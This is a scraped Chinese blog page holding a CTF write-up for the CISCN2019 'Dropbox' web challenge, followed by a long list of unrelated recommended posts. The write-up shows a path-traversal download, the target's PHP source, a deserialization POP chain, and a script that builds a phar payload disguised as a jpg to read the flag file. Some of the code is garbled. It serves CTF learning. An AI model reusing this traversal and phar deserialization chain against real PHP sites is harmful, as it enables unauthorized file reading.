車鈊
車鈊

[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox

注册登录，

上传图片，可以下载文件，对文件下载进行抓包，

此处可下载任意文件，
[BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox_第1张图片

filename=../../index.php

找到class.php


    
class User {
     
    public $db;

	// 触发FileList的__call()
    public function __destruct() {
     
        $this->db->close();
    }
}

class FileList {
     
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
     
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
     
            // 调用File::close(),读文件，将结果保存到results
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
     
        $table = '
';$table.='';foreach($this->funcsas$func){
     $table.='';}$table.='';$table.='';foreach($this->resultsas$filename=>$result){
     $table.='';foreach($resultas$func=>$value){
     // 打印结果$table.='';}$table.='';$table.='';}echo$table;}}classFile{
     public$filename;// 对外部$filename赋值，供外层File::delete()使用publicfunctionopen($filename){
     $this->filename=$filename;if(file_exists($filename)&&!is_dir($filename)){
     returntrue;}else{
     returnfalse;}}publicfunctiondetele(){
     // 可以接收并解析Phar协议流，unlink($this->filename);}}?>
以及delete.php

session_start();
include "class.php";

chdir($_SESSION['sandbox']);
// 创建一个File对象
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
     
    // 删除触发函数
    $file->detele();
}
?>

链子
利用的对象中，有两个File，一个供Phar解析，一个读文件。
关键为解决三个问题，PHAR的解析-close函数的调用-文本的输出。
删除抓包 -> File::delete() -> 解析Phar:// -> FileList::__destruct() [回显results] <- File::close() [$filename=/flag.txt] <- FileList::__call() [File::close()->results] <- User::__destruct() [$this->db=new File()]

生成Phar


class FileList {
     
    private $files;
    public function __construct() {
     
        $this->files = array(new File());
    }
}
    
class User {
     
    public $db;

    public function __construct() {
     
        $this->db = new FileList();
    }
}
    
class File {
     
    public $filename="/flag.txt";
}

@unlink('test.phar');
$phar=new Phar('test.phar');  //创建一个phar对象，文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('');  //写入stub

$o = User();

$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

上传伪装为jpg格式的phar文件到服务器。
修改删除抓包
观察路由，当前目录即为upload目录。
 [BUU/反序列化/Phar] [CISCN2019 华北赛区 Day1 Web1]Dropbox_第2张图片
 得到flag





你可能感兴趣的:(凌晨四点起床刷题,Web安全,Phar,反序列化)






    

  • 2021.12.13 自律日记
夏舒帅然a

    深感时光转瞬即逝，如指缝流金！自律、习惯养成、执行力提高迫在眉睫！今天是什么日子：平日艳阳天起床：7：50任务清单（明日）1.起床：7:302.就寝：10：103.读书30分钟4.打两套太极5.两次静坐（每次15分钟）昨日完成的任务情况，最重要的三件事一.读书30分。未完成二.就寝10：00完成三.起床7：30未完成四.打两套太极未完成五.两次静坐（每次15分钟）未完成习惯养成：早睡早起、每日读书
    

    • 

  • 2022-2-13晨间日记
越亮也打烊

    今天是什么日子起床：7:00就寝：12:08天气：晴心情：糟糕纪念日：无任务清单昨日完成的任务，最重要的三件事：寒假作业，网课，画画改进：作业时间剪短习惯养成：网课不逃～周目标·完成进度数学卷子100％学习·信息·阅读《傅雷家书》《钢铁是怎样炼成的》健康·饮食·锻炼我终于不喝饮料啦，喝茶～人际·家人·朋友邝姐姐带我吃火锅工作·思考啥时候开学，我还有几天赶完作业最美好的三件事1.卷子写完了2.我有冰
    

    • 

  • 中国大学：你站起来！
立恒语文

    我们先来看看中国大学对外国留学生的“奇葩”待遇。近日，有网友曝出吉林大学有要求中国学生起床后须叫醒外国留学生的服务。看完之后，真是让人大跌眼镜。有网友就直接质问：吉大是大学，还是酒店？中国学生是学生，还是服务员？外国留学生是来求学的，还是享受的？这不仅让人联想到最近一段时间以来网上频频曝出的许多中国大学对外国留学生的一些“奇葩”待遇，这里举几个比较有名的事例，以飨读者。1.山东大学的“三陪”制度，
    

    • 

  • 网络安全（黑客）——自学2024
小言同学喜欢挖漏洞
web安全安全网络学习网络安全信息安全渗透测试

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 黑客（网络安全）技术自学30天
一个迷人的黑客
web安全安全网络笔记网络安全信息安全渗透测试

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 自学黑客（网络安全）技术——2024最新
九九归二
web安全安全学习笔记网络网络安全信息安全

    01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一
    

    • 

  • 2024.3.25力扣（1200-1400）刷题记录
Circusxxx
2024年3月力扣刷题记录leetcode算法python

    一、1784.检查二进制字符串字段1.使用0分割。分割出来的结果是含有“1”的串和空串。classSolution:defcheckOnesSegment(self,s:str)->bool:#使用0分割returnsum(len(c)!=0forcins.split("0"))bool:#除了前面可以出现0，后面不能出现#1最后出现的位置必须在0第一次出现位置的前面idx_one=0idx_ze
    

    • 

  • 2021-12-01今日份做的好的清单
不设限的果粒

    1.早早起床洗了头发很舒服，表扬自己2.今天一早尝试了新的早餐香菇包，味道不错，表扬勇敢尝鲜的自己；3.今天上午约了JAKA供应商过来，昨晚提前约好老大，今天会议进展顺利。在会议中认真聆听学习老大和对方的交流，学习与供应商的沟通技巧；4.下午老大提到岗位调动的问题，第一时间请教了原来的老板和之前很有独特见解的前同事，目前两方的意见比较一致，都是拒绝；5.下午认真听培训6.下午在公司群组沟通中，积极
    

    • 

  • 2022-5-1晨间日记
逆风小马甲

    今天月芽出生的第50天起床：8:30就寝：23:00天气：大雨心情：焦灼纪念日：否任务清单昨日完成的任务，最重要的三件事：确认月芽打预防针时间（5月6日）、确认月芽大便异常复诊时间（5月2日）、改进：自己要开开心心(*⌒∇⌒*)习惯养成：护肤周目标·完成进度学习·信息·阅读健康·饮食·锻炼人际·家人·朋友工作·思考最美好的三件事1.2.3.思考·创意·未来
    

    • 

  • 蓝桥杯day10刷题日记
jia_jia_LL
蓝桥杯蓝桥杯算法图论dfs刷题笔记数据结构

    P8604[蓝桥杯2013国C]危险系数思路：dfs，用深度优先搜索查找一次所有的线路，过程中记录每个点走过的次数，最后在与总路线数比较，相同即为每次必过的点，即关键点#includeusingnamespacestd;intn,m;inta[1010][1010],b[1010];intu,v;intcnt[1010],sum,ans;voiddfs(intx){if(x==v){sum++;f
    

    • 

  • 2023-4-11夜间日记
一山一水一草一木

    今天是什么日子起床：八点就寝：十二点天气：晴天心情：一般般纪念日：今天在贵州医科大学调剂笔试任务清单昨日完成的任务，最重要的三件事：笔试复习，来贵阳参加资格复查，一个人出门改进：总是想打麻将习惯养成：每天记单词，周目标·完成进度去复试，去走向人群，去锻炼自己的勇气，遇事不慌处变不惊，胸有成竹学习·信息·阅读你当像鸟飞向你的山健康·饮食·锻炼吃了两块面包人际·家人·朋友和同学聊天，好久没和妈妈打电话
    

    • 

  • 网络安全（黑客）—2024自学笔记
羊村最强沸羊羊
web安全笔记安全网络安全网络python开发语言

    前言一、什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。二、怎样规划网络安全如果你
    

    • 

  • 2021.1.4每日嘉许
d1e00ea6f4b4

    1嘉许自己早起给孩子做饭，站桩，心情愉悦2嘉许自己和老师聊天，说出自己的困惑，收到了老师的指点，心情舒畅3嘉许自己认真听梅琼老师讲的一致性沟通案例会并记笔记4嘉许自己做午饭和孩子一起吃，5嘉许自己给公公改手机套餐6嘉许自己做晚饭，老公和朋友都说好吃，我很满足，看到了自己的价值感7嘉许老公下班就立马回家8嘉许老公腰不舒服去找地方拔罐9嘉许老公和朋友一起聊天10嘉许孩子早上自己起床，自己骑车去学校11
    

    • 

  • 2019-3-5晨间日记
龙梅_4c22

    今天是什么日子起床：7.15就寝：23天气：晴春风和煦心情：有点颓纪念日：等待妇女节任务清单昨日完成的任务，最重要的三件事：第一天起步改进：胆怯的心习惯养成：读书周目标·完成进度想做就做不后退不胆怯学习·信息·阅读多关注一点时事不做睁眼瞎健康·饮食·锻炼腰痛希望有跑步的习惯人际·家人·朋友不大不小的朋友圈工作·思考计算机二级英语四级驾驶证最美好的三件事1.跟妈妈视频2.为了未来努力3.再慢慢慢慢的
    

    • 

  • 2020-01-14
铭宝酷妈

    1.14星期二天气晴亲子日记第91天今天起床鼻子不通气，好在没有别的症状，只是鼻炎犯了！收到来自全民K歌的消息，打开软件听好友唱的新歌，看好友晋了好几级了，我有好长时间没唱歌了！现在连呼吸都困难，估计年前不好办了！再听听自己以前唱的，哈哈，哪来的自信，竟然唱了辣么多……孩子今天跟我说，妈妈，我剪辑了半个月的视频才四分钟……卡点啥的太难了！其实什么事情容易呢？熟练了就好了！孩爸今天上午休了半天班，给
    

    • 

  • 11月6日
蒋沅臻_cb46

    沅臻英范咨询【日精进打卡第225天】一、修身六法：1.早起：6：30起床2.寒喧：和沙友欢谈3.扫除：打扫房间4.感谢：感谢沙友的相聚，沙漠里锻炼的友谊是如此纯洁，再忙也要约着聚一个，总是充满了欢声笑语。5.守时：OK6.行善：/二、齐家：和妈妈微信聊天三、建功学习：在家学习【省～觉悟】1.越是細小、日常生活中的事情，越是「上乘道場」。買菜、做飯、吃飯、洗煱碗、擦桌子、洗漱、睡覺等，做完了，在現場
    

    • 

  • 过年日常
草芽青青

    意外的起了个大早，忙活了一早上，结果剩了一大堆菜。昨晚老公接了个电话，说是他姑家的孩子明天早上要来我家吃饭，那就来呗。我知道他们是去给公婆拜年，公婆岁数大了，不招待，给这些小辈的招待。我这人不好热闹，自己吃饭凑合，真有人来，老怕自己弄不好，见不得大场面。结婚这么多年家里一直没有亲戚，所以懒散习惯了，也不怎么弄菜。接到通知，一晚上都在琢磨怎么整，大早上六点就起床忙活，会不会的，尽心去做呗。八点，老公
    

    • 

  • 2022-8-29晨间日记
明心279

    今天是什么日子起床：5.40就寝：天气：多云心情：开心纪念日：任务清单昨日完成的任务，最重要的三件事：改进：习惯养成：周目标·完成进度学习·信息·阅读上午复习古书下午看教材第二册健康·饮食·锻炼站桩40早上吃大米粥煮花生米中午麻辣米线晚上青菜豆腐火锅人际·家人·朋友转100红包给流浪猫安置点，有一只猫咪被领养后又被弃养，发情期，需要做绝育，听说后有些动了恻隐之心，转了一个红包用于资助流浪猫孩子晚上
    

    • 

  • 吃亏是福
旦旦日记

    赶路加办事。一天下来跑了估计有五百多公里的路。着实把我累倒了。为了应对晚上的酒局，下午办完事早早的我便开了个房间休息了会，不然怕身体吃不消，还没喝点酒呢就醉了。出来跑业务的确挺辛苦，和在家门口跑业务概念还不一样，在家门口工作的话，不管怎样，晚上最起码能回到温暖的家里，早上能在温暖的家里起床。好在坚持下来了，习惯后现在倒也不觉得辛苦了。这可能和心智也有点关系。刚开始心智不成熟，稍微一点很小的事情，心
    

    • 

  • 2019-6-29晨间日记
逗霸君

    图片发自App今天是不怎么开心日子起床：5:22就寝：12:00天气：小雨天心情：不怎么好纪念日：我家二胖死了图片发自App任务清单昨日完成的任务，最重要的三件事：我家二胖死了改进：节哀顺变习惯养成：节哀顺变周目标·完成进度我家二胖被车撞死的狗是好狗人不一定是好人学习·信息·阅读我家二胖死了健康·饮食·锻炼74.3人际·家人·朋友①伍文龙杨宇石磊杨彭~全沧海辞工②在生活中，我们总是很努力想要得到认
    

    • 

  • 比较好的知识点
hc.Geng
java

    2023年Java超全面试题及答案解析---https://blog.csdn.net/qq_42301302/article/details/1287852747分钟带你细致解析4个Java算法必刷题---https://blog.csdn.net/hcxy2022/article/details/12796379750道JAVA基础算法编程题【内含分析、程序答案】---https://blog
    

    • 

  • 0404-2020越来越优秀的圣圣
泉州炜圣妈

    好习惯每日五件事：1.早起学习：4:40起床；2.对镜子，家人，他人微笑；3.滚背第11天，100下；4.盘腿坐60分钟；5.通读：《易经》系辞下传1遍。今天是清明节，虽然因为疫情原因不能去扫墓，但我们还是有煮些饭菜去祖祠庙里祭拜祖先。我安排圣在家里自己写作业，为了让他更专心，我给了他一个时间限制，一个小时之内完成，如果提前半小时完成，剩下的半小时就让他自己安排，可以玩自己想玩的，包括游戏。虽然最
    

    • 

  • 清晨日记DAY54/100
文又又

    日期：2022年9月18日，周日，还有117天，2022年就结束了，要努力，硬结寨，打呆仗。早起：920天，坚持清晨日记54天，坚持运动35天，开启日更48天。人生十大关注：1、健康运动：有（吴江公园散步）饮食：有情绪：开心喝水：有早睡：无（10点睡下，10点40分醒来继续写稿）早起：有，早上4点40分起床2、家庭父母：有孩子：有伴侣：有3、事业主业：写作，自媒体运营副业：带孩子4、财富收入：有，
    

    • 

  • 当妈后我越来越怕死了
塔洱

    2021年我成为了小小刘的妈。凌晨两点腹部传来阵痛，一对夫妻慌忙的奔向医院，着急的连门诊卡都忘了拿。丈夫挂了号，妻子奔向产房，13个小时后小小刘终于降临了。而我也拥有了一个新的身份它的名字叫母亲。活在世上的20多年来我都是天不怕地不怕的模样，年轻人总是一腔热血，虽然现在我也还算是个年轻人，但我说的是更年轻的些的时候。年轻归年轻，一腔热血倒是凉了不少。我不怕死是怎么个不怕法呢？我想蹦极，我想去玩滑翔
    

    • 

  • 花里胡哨的一天
阿雨滴答滴答

    同样也是老规矩，早早的起床吃饭上班，三点一线。今天领导问我们谁自愿去青海和一个姐姐出差，我还没问具体哪里，她就点人咯，看来机会来了就得把握住，现在就两个地方了，也就是两个人，希望我能去到其中一个地方吧，但是几率好小呀，感觉自己被忽略了。难道是我不怎么说话没有存在，还是太矮小哇，可是他们也没有怎么说话呀，管它的吧，再次说的话我就积极点，的马上说出口。下午办卡去了，可惜刚好到我就没有卡了，而且好像还什
    

    • 

  • 2021-9-7晨间日记
912d3a0bc474

    今天是什么日子起床：开心就寝：天气：好心情：一般般纪念日：无任务清单昨日完成的任务，最重要的三件事：改进：习惯养成：周目标·完成进度学习·信息·阅读健康·饮食·锻炼人际·家人·朋友工作·思考最美好的三件事1.2.3.思考·创意·未来想写一些东西
    

    • 

  • 怎么感觉一天的时间不够用了
妖妖风灵儿

    同样是一天，也同样是一天二十四个小时，为什么现在越发觉得它变得如此短暂了呢！是年纪渐长还是期末月要来临啦！一天作息也很规律的呀！几乎都是23:00-00.00睡觉，起床时间也差不多是7:00多。以前我也是这么过着，可能那会对学业没那么上心，或许是没那么认真地去学习专业知识，又或许是没有那么感兴趣惹!于是一天呆在宿舍并觉得一天好漫长。并寻找着要如何度高效快乐地度过一天。最近我也按着这样的时间作息，不
    

    • 

  • 早上几点起床最健康
我叫徐建立

    说起早上起床，也是个很头疼的事，因为现在的晚上有各种原因有的晚上加班了，吃饭了出去玩都睡的很晚，早上都想多睡会儿，以至于早上上班起不来，快到时间怱怱起来，顾不得吃早餐，影响了身体健康。所以晚睡早起对身体是伤害非常大的，这就好比我们说的是白天放电，晚上要充电。晚上能充电5%，而白天要放电100%，甚至白天上班老板还让加班，中午得不休息，一天的工作计划全部在老板手上，时间了身体健康受到影响。在年轻时拼
    

    • 

  • 6月目标
流景

    从这个月开始,正面去面对自己的问题,不再逃避,不再给自己找借口,总要先把该吃的苦吃了,才能躺下来去享受自己创造的生活.6月份定个目标:11点睡觉,7点起床;python,go语言学完,找个好工作,开始上班养活自己.不再做白日梦,踏实地活着.每天去健身房打卡,先瑜伽再跑步,慢慢来;体重减到43kg,开始恢复饮食.
    

    • 

  • 力扣刷题：字母异位词分组（java实现）
微蓝_

    题目：给你一个字符串数组，请你将字母异位词组合在一起。可以按任意顺序返回结果列表。字母异位词是由重新排列源单词的字母得到的一个新单词，所有源单词中的字母都恰好只用一次。示例1:输入:strs=["eat","tea","tan","ate","nat","bat"]输出:[["bat"],["nat","tan"],["ate","eat","tea"]]示例2:输入:strs=[""]输出:[[
    

    • 

  • Java 并发包之线程池和原子计数
lijingyao8206
Java计数ThreadPool并发包java线程池

    对于大数据量关联的业务处理逻辑，比较直接的想法就是用JDK提供的并发包去解决多线程情况下的业务数据处理。线程池可以提供很好的管理线程的方式，并且可以提高线程利用率，并发包中的原子计数在多线程的情况下可以让我们避免去写一些同步代码。
    这里就先把jdk并发包中的线程池处理器ThreadPoolExecutor 以原子计数类AomicInteger 和倒数计时锁C
    

    • 

  • java编程思想 抽象类和接口
百合不是茶
java抽象类接口

    接口c++对接口和内部类只有简介的支持,但在java中有队这些类的直接支持
 
1 ,抽象类 :  如果一个类包含一个或多个抽象方法,该类必须限定为抽象类(否者编译器报错)
 
抽象方法 : 在方法中仅有声明而没有方法体 
 
package com.wj.Interface;

    

    • 

  • [房地产与大数据]房地产数据挖掘系统
comsci
数据挖掘

    
       随着一个关键核心技术的突破,我们已经是独立自主的开发某些先进模块,但是要完全实现,还需要一定的时间...
       所以,除了代码工作以外,我们还需要关心一下非技术领域的事件..比如说房地产
    &nb
    

    • 

  • 数组队列总结
沐刃青蛟
数组队列

     
    数组队列是一种大小可以改变，类型没有定死的类似数组的工具。不过与数组相比，它更具有灵活性。因为它不但不用担心越界问题，而且因为泛型（类似c++中模板的东西）的存在而支持各种类型。
 
   以下是数组队列的功能实现代码：
 
import List.Student;
public class
    

    • 

  • Oracle存储过程无法编译的解决方法
IT独行者
oracle存储过程　

    今天同事修改Oracle存储过程又导致2个过程无法被编译，流程规范上的东西，Dave 这里不多说，看看怎么解决问题。
 
1.     查看无效对象
XEZF@xezf(qs-xezf-db1)> select object_name,object_type,status from all_objects where status='IN
    

    • 

  • 重装系统之后oracle恢复
文强chu
oracle

    前几天正在使用电脑，没有暂停oracle的各种服务。
突然win8.1系统奔溃，无法修复，开机时系统 提示正在搜集错误信息，然后再开机，再提示的无限循环中。
无耐我拿出系统u盘 准备重装系统，没想到竟然无法从u盘引导成功。
晚上到外面早了一家修电脑店，让人家给装了个系统，并且那哥们在我没反应过来的时候，
直接把我的c盘给格式化了 并且清理了注册表，再装系统。
然后的结果就是我的oracl
    

    • 

  • python学习二（ 一些基础语法）
小桔子
pthon基础语法

    紧接着把！昨天没看继续看django 官方教程，学了下python的基本语法 与c类语言还是有些小差别：
1.ptyhon的源文件以UTF-8编码格式
2.
/   除 结果浮点型
//  除 结果整形
%   除 取余数
*   乘
**  乘方 eg 5**2 结果是5的2次方25
_&
    

    • 

  • svn 常用命令
aichenglong
SVN版本回退

    1 svn回退版本
  1)在window中选择log,根据想要回退的内容,选择revert this version或revert chanages from this version
两者的区别:
  revert this version:表示回退到当前版本(该版本后的版本全部作废)
  revert chanages from this versio
    

    • 

  • 某小公司面试归来
alafqq
面试

    先填单子，还要写笔试题，我以时间为急，拒绝了它。。时间宝贵。
老拿这些对付毕业生的东东来吓唬我。。
面试官很刁难，问了几个问题，记录下；
1，包的范围。。。public,private,protect. --悲剧了
2，hashcode方法和equals方法的区别。谁覆盖谁.结果，他说我说反了。
3，最恶心的一道题，抽象类继承抽象类吗？（察，一般它都是被继承的啊）
4，stru
    

    • 

  • 动态数组的存储速度比较 集合框架
百合不是茶
集合框架

    集合框架：
自定义数据结构(增删改查等)
package 数组;
/**
* 创建动态数组
* @author 百合
*
*/
public class ArrayDemo{
//定义一个数组来存放数据
String[] src = new String[0];
/**
* 增加元素加入容器
* @param s要加入容器
    

    • 

  • 用JS实现一个JS对象，对象里有两个属性一个方法
bijian1013
js对象

    <html>
<head>
</head>
<body>
用js代码实现一个js对象，对象里有两个属性，一个方法
</body>
<script>
var obj={a:'1234567',b:'bbbbbbbbbb',c:function(x){

    

    • 

  • 探索JUnit4扩展：使用Rule
bijian1013
java单元测试JUnitRule

            在上一篇文章中，讨论了使用Runner扩展JUnit4的方式，即直接修改Test Runner的实现(BlockJUnit4ClassRunner)。但这种方法显然不便于灵活地添加或删除扩展功能。下面将使用JUnit4.7才开始引入的扩展方式——Rule来实现相同的扩展功能。
1. Rule
      &n
    

    • 

  • [Gson一]非泛型POJO对象的反序列化
bit1129
POJO

    当要将JSON数据串反序列化自身为非泛型的POJO时，使用Gson.fromJson(String, Class)方法。自身为非泛型的POJO的包括两种：
1. POJO对象不包含任何泛型的字段
2. POJO对象包含泛型字段，例如泛型集合或者泛型类
Data类 a.不是泛型类， b.Data中的集合List和Map都是泛型的 c.Data中不包含其它的POJO  
 
    

    • 

  • 【Kakfa五】Kafka Producer和Consumer基本使用
bit1129
kafka

    0.Kafka服务器的配置
一个Broker，
一个Topic
Topic中只有一个Partition（）   1. Producer：
package kafka.examples.producers;
import kafka.producer.KeyedMessage;
import kafka.javaapi.producer.Producer;
impor
    

    • 

  • lsyncd实时同步搭建指南——取代rsync+inotify
ronin47

    1. 几大实时同步工具比较 1.1 inotify + rsync
最近一直在寻求生产服务服务器上的同步替代方案，原先使用的是 inotify + rsync，但随着文件数量的增大到100W+，目录下的文件列表就达20M，在网络状况不佳或者限速的情况下，变更的文件可能10来个才几M，却因此要发送的文件列表就达20M，严重减低的带宽的使用效率以及同步效率；更为要紧的是，加入inotify
    

    • 

  • java-9. 判断整数序列是不是二元查找树的后序遍历结果
bylijinnan
java

    
public class IsBinTreePostTraverse{
static boolean isBSTPostOrder(int[] a){
if(a==null){
return false;
}
/*1.只有一个结点时，肯定是查找树
*2.只有两个结点时，肯定是查找树。例如{5,6}对应的BST是 6 {6,5}对应的BST是
    

    • 

  • MySQL的sum函数返回的类型
bylijinnan
javaspringsqlmysqljdbc

    今天项目切换数据库时，出错
访问数据库的代码大概是这样：
String sql = "select sum(number) as sumNumberOfOneDay from tableName";
List<Map> rows = getJdbcTemplate().queryForList(sql);
for (Map row : rows
    

    • 

  • java设计模式之单例模式
chicony
java设计模式

    
在阎宏博士的《JAVA与模式》一书中开头是这样描述单例模式的：
　　作为对象的创建模式，单例模式确保某一个类只有一个实例，而且自行实例化并向整个系统提供这个实例。这个类称为单例类。 单例模式的结构
　　单例模式的特点：
单例类只能有一个实例。
单例类必须自己创建自己的唯一实例。
单例类必须给所有其他对象提供这一实例。
　　饿汉式单例类
 
publ
    

    • 

  • javascript取当月最后一天
ctrain
JavaScript

    
<!--javascript取当月最后一天-->
<script language=javascript>
var current = new Date();
var year = current.getYear();
var month = current.getMonth();
showMonthLastDay(year, mont
    

    • 

  • linux tune2fs命令详解
daizj
linuxtune2fs查看系统文件块信息

    一.简介：
tune2fs是调整和查看ext2/ext3文件系统的文件系统参数，Windows下面如果出现意外断电死机情况，下次开机一般都会出现系统自检。Linux系统下面也有文件系统自检，而且是可以通过tune2fs命令，自行定义自检周期及方式。
二.用法：
Usage: tune2fs [-c max_mounts_count] [-e errors_behavior] [-g grou
    

    • 

  • 做有中国特色的程序员
dcj3sjt126com
程序员

     
从出版业说起 网络作品排到靠前的，都不会太难看，一般人不爱看某部作品也是因为不喜欢这个类型，而此人也不会全不喜欢这些网络作品。究其原因，是因为网络作品都是让人先白看的，看的好了才出了头。而纸质作品就不一定了，排行榜靠前的，有好作品，也有垃圾。 许多大牛都是写了博客，后来出了书。这些书也都不次，可能有人让为不好，是因为技术书不像小说，小说在读故事，技术书是在学知识或温习知识，有
    

    • 

  • Android：TextView属性大全
dcj3sjt126com
textview

    android:autoLink    设置是否当文本为URL链接/email/电话号码/map时，文本显示为可点击的链接。可选值(none/web/email/phone/map/all)  android:autoText    如果设置，将自动执行输入值的拼写纠正。此处无效果，在显示输入法并输
    

    • 

  • tomcat虚拟目录安装及其配置
eksliang
tomcat配置说明tomca部署web应用tomcat虚拟目录安装

    转载请出自出处：http://eksliang.iteye.com/blog/2097184
1.-------------------------------------------tomcat  目录结构
config：存放tomcat的配置文件
temp  ：存放tomcat跑起来后存放临时文件用的
work   ： 当第一次访问应用中的jsp
    

    • 

  • 浅谈：APP有哪些常被黑客利用的安全漏洞
gg163
APP

    首先，说到APP的安全漏洞，身为程序猿的大家应该不陌生；如果抛开安卓自身开源的问题的话，其主要产生的原因就是开发过程中疏忽或者代码不严谨引起的。但这些责任也不能怪在程序猿头上，有时会因为BOSS时间催得紧等很多可观原因。由国内移动应用安全检测团队爱内测（ineice.com）的CTO给我们浅谈关于Android 系统的开源设计以及生态环境。
1. 应用反编译漏洞：APK 包非常容易被反编译成可读
    

    • 

  • C#根据网址生成静态页面
hvt
Web.netC#asp.nethovertree

    HoverTree开源项目中HoverTreeWeb.HVTPanel的Index.aspx文件是后台管理的首页。包含生成留言板首页，以及显示用户名，退出等功能。根据网址生成页面的方法：
 
bool CreateHtmlFile(string url, string path)
{
//http://keleyi.com/a/bjae/3d10wfax.htm
stri
    

    • 

  • SVG 教程 （一）
天梯梦
svg

    SVG 简介
SVG 是使用 XML 来描述二维图形和绘图程序的语言。 学习之前应具备的基础知识：
继续学习之前，你应该对以下内容有基本的了解：
HTML
XML 基础
如果希望首先学习这些内容，请在本站的首页选择相应的教程。 什么是SVG？
SVG 指可伸缩矢量图形 (Scalable Vector Graphics)
SVG 用来定义用于网络的基于矢量
    

    • 

  • 一个简单的java栈
luyulong
java数据结构栈

    
public class MyStack {
private long[] arr;
private int top;
public MyStack() {
arr = new long[10];
top = -1;
}
public MyStack(int maxsize) {
arr = new long[maxsize];
top 
    

    • 

  • 基础数据结构和算法八：Binary search
sunwinner
AlgorithmBinary search

    Binary search needs an ordered array so that it can use array indexing to dramatically reduce the number of compares required for each search, using the classic and venerable binary search algori
    

    • 

  • 12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！
刘星宇
c面试

    12个C语言面试题，涉及指针、进程、运算、结构体、函数、内存，看看你能做出几个！
1.gets()函数
问：请找出下面代码里的问题：
#include<stdio.h>
int main(void)
{
    char buff[10];
    memset(buff,0,sizeof(buff));

    

    • 

  • ITeye 7月技术图书有奖试读获奖名单公布
ITeye管理员
活动ITeye试读

    ITeye携手人民邮电出版社图灵教育共同举办的7月技术图书有奖试读活动已圆满结束，非常感谢广大用户对本次活动的关注与参与。
7月试读活动回顾：
http://webmaster.iteye.com/blog/2092746
本次技术图书试读活动的优秀奖获奖名单及相应作品如下（优秀文章有很多，但名额有限，没获奖并不代表不优秀）：
《Java性能优化权威指南》

    

    • 








          

            
              ' . htmlentities($func) . '
        
          Opt
          

              
              

                  
                
                  ' . htmlentities($value) . '
            
              . htmlentities($filename) . '">下载 / 删除